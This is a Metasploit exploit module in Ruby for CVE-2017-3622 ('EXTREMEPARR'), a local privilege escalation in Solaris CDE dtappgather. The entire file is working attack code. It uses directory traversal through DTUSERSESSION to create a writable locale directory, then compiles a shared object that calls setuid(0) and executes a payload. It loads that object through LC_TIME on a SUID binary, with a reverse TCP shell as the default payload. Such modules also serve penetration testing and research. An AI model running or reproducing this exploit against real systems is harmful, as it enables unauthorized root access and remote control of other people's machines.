##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Post::Solaris::Priv
  include Msf::Post::Solaris::System
  include Msf::Post::Solaris::Kernel
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => "Solaris 'EXTREMEPARR' dtappgather Privilege Escalation",
      'Description'    => %q{
        This module exploits a directory traversal vulnerability in the
        `dtappgather` executable included with Common Desktop Environment (CDE)
        on unpatched Solaris systems prior to Solaris 10u11 which allows users
        to gain root privileges.

        dtappgather allows users to create a user-owned directory at any
        location on the filesystem using the `DTUSERSESSION` environment
        variable.

        This module creates a directory in `/usr/lib/locale`, writes a shared
        object to the directory, and runs the specified SUID binary with the
        shared object loaded using the `LC_TIME` environment variable.

        This module has been tested successfully on:

        Solaris 9u7 (09/04) (x86);
        Solaris 10u1 (01/06) (x86);
        Solaris 10u2 (06/06) (x86);
        Solaris 10u4 (08/07) (x86);
        Solaris 10u8 (10/09) (x86);
        Solaris 10u9 (09/10) (x86).
      },
      'References'     =>
        [
          ['BID', '97774'],
          ['CVE', '2017-3622'],
          ['EDB', '41871'],
          ['URL', 'https://github.com/HackerFantastic/Public/blob/master/exploits/dtappgather-poc.sh'],
          ['URL', 'http://www.oracle.com/technetwork/security-advisory/cpuapr2017-3236618.html']
        ],
      'Notes'          => { 'AKA' => ['EXTREMEPARR'] },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Shadow Brokers',   # exploit
          'Hacker Fantastic', # dtappgather-poc.sh
          'Brendan Coles'     # Metasploit
        ],
      'DisclosureDate' => 'Apr 24 2017',
      'Privileged'     => true,
      'Platform'       => ['solaris', 'unix'],
      'Arch'           => [ARCH_X86, ARCH_X64, ARCH_SPARC],
      'Targets'        => [['Auto', {}]],
      'SessionTypes'   => ['shell', 'meterpreter'],
      'DefaultOptions' =>
        {
          'PAYLOAD'     => 'solaris/x86/shell_reverse_tcp',
          'WfsDelay'    => 10,
          'PrependFork' => true
        },
      'DefaultTarget'  => 0))
    register_options [
      # Some useful example SUID executables:
      # * /usr/bin/at
      # * /usr/bin/cancel
      # * /usr/bin/chkey
      # * /usr/bin/lp
      # * /usr/bin/lpset
      # * /usr/bin/lpstat
      # * /usr/lib/lp/bin/netpr
      # * /usr/sbin/lpmove
      OptString.new('SUID_PATH', [true, 'Path to suid executable', '/usr/bin/at']),
      OptString.new('DTAPPGATHER_PATH', [true, 'Path to dtappgather executable', '/usr/dt/bin/dtappgather'])
    ]
    register_advanced_options [
      OptBool.new('ForceExploit',  [false, 'Override check result', false]),
      OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
    ]
  end

  def suid_bin_path
    datastore['SUID_PATH']
  end

  def dtappgather_path
    datastore['DTAPPGATHER_PATH']
  end

  def mkdir(path)
    vprint_status "Creating directory '#{path}'"
    cmd_exec "mkdir -p '#{path}'"
    register_dir_for_cleanup path
  end

  def upload(path, data)
    print_status "Writing '#{path}' (#{data.size} bytes) ..."
    rm_f path
    write_file path, data
    register_file_for_cleanup path
  end

  def upload_and_compile(path, data)
    upload "#{path}.c", data

    output = cmd_exec "PATH=$PATH:/usr/sfw/bin/:/opt/sfw/bin/:/opt/csw/bin gcc -fPIC -shared -g -lc -o #{path} #{path}.c"
    unless output.blank?
      print_error output
      fail_with Failure::Unknown, "#{path}.c failed to compile"
    end

    register_file_for_cleanup path
  end

  def symlink(link_target, link_name)
    vprint_status "Symlinking #{link_target} to #{link_name}"
    rm_f link_name
    cmd_exec "ln -sf #{link_target} #{link_name}"
    register_file_for_cleanup link_name
  end

  def check
    [dtappgather_path, suid_bin_path].each do |path|
      unless setuid? path
        vprint_error "#{path} is not setuid"
        return CheckCode::Safe
      end
      vprint_good "#{path} is setuid"
    end

    unless has_gcc?
      vprint_error 'gcc is not installed'
      return CheckCode::Safe
    end
    vprint_good 'gcc is installed'

    version = kernel_release
    if version.to_s.eql? ''
      vprint_error 'Could not determine Solaris version'
      return CheckCode::Detected
    end

    unless Gem::Version.new(version).between? Gem::Version.new('5.7'), Gem::Version.new('5.10')
      vprint_error "Solaris version #{version} is not vulnerable"
      return CheckCode::Safe
    end
    vprint_good "Solaris version #{version} appears to be vulnerable"

    CheckCode::Appears
  end

  def exploit
    if is_root?
      fail_with Failure::BadConfig, 'Session already has root privileges'
    end

    unless [CheckCode::Detected, CheckCode::Appears].include? check
      unless datastore['ForceExploit']
        fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
      end
      print_warning 'Target does not appear to be vulnerable'
    end

    unless writable? datastore['WritableDir']
      fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
    end

    # Remove appmanager directory and contents
    appmanager_path = '/var/dt/appconfig/appmanager'
    vprint_status "Cleaning appmanager directory #{appmanager_path}"
    cmd_exec "chmod -R 755 #{appmanager_path}/*"
    cmd_exec "rm -rf #{appmanager_path}/*"
    rm_f appmanager_path

    # Create writable directory in /usr/lib/locale
    locale_path = '/usr/lib/locale'
    locale_name = rand_text_alphanumeric 5..10
    new_dir = "#{locale_path}/#{locale_name}"
    vprint_status "Creating directory #{new_dir}"
    depth = 3
    cmd_exec "DTUSERSESSION=. /usr/dt/bin/dtappgather"
    depth.times do
      cmd_exec "DTUSERSESSION=.. /usr/dt/bin/dtappgather"
    end
    symlink locale_path, appmanager_path
    cmd_exec "DTUSERSESSION=#{locale_name} #{dtappgather_path}"
    unless cmd_exec("ls -al #{locale_path} | grep #{locale_name}").to_s.include? locale_name
      fail_with Failure::NotVulnerable, "Could not create directory #{new_dir}"
    end

    print_good "Created directory #{new_dir}"
    register_dir_for_cleanup new_dir

    rm_f appmanager_path
    cmd_exec "chmod 755 #{new_dir}"

    # Upload and compile shared object
    base_path = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric 5..10}"
    mkdir base_path

    payload_name = ".#{rand_text_alphanumeric 5..10}"
    payload_path = "#{base_path}/#{payload_name}"

    so = <<-EOF
      void __attribute__((constructor)) cons() {
        setuid(0);
        setgid(0);
        execle("#{payload_path}", "", 0, 0);
        _exit(0);
      }
    EOF

    so_name = ".#{rand_text_alphanumeric 5..10}"
    so_path = "#{base_path}/#{so_name}"
    upload_and_compile so_path, so

    vprint_status "Writing shared objects to #{new_dir}"
    cmd_exec "cp '#{so_path}' '#{new_dir}/#{locale_name}.so.2'"
    register_file_for_cleanup "#{new_dir}/#{locale_name}.so.2"
    cmd_exec "cp '#{so_path}' '#{new_dir}/#{locale_name}.so.3'"
    register_file_for_cleanup "#{new_dir}/#{locale_name}.so.3"

    # Upload and execute payload
    upload payload_path, generate_payload_exe
    cmd_exec "chmod +x #{payload_path}"

    print_status 'Executing payload...'
    cmd_exec "LC_TIME=#{locale_name} #{suid_bin_path} & echo "
  end
end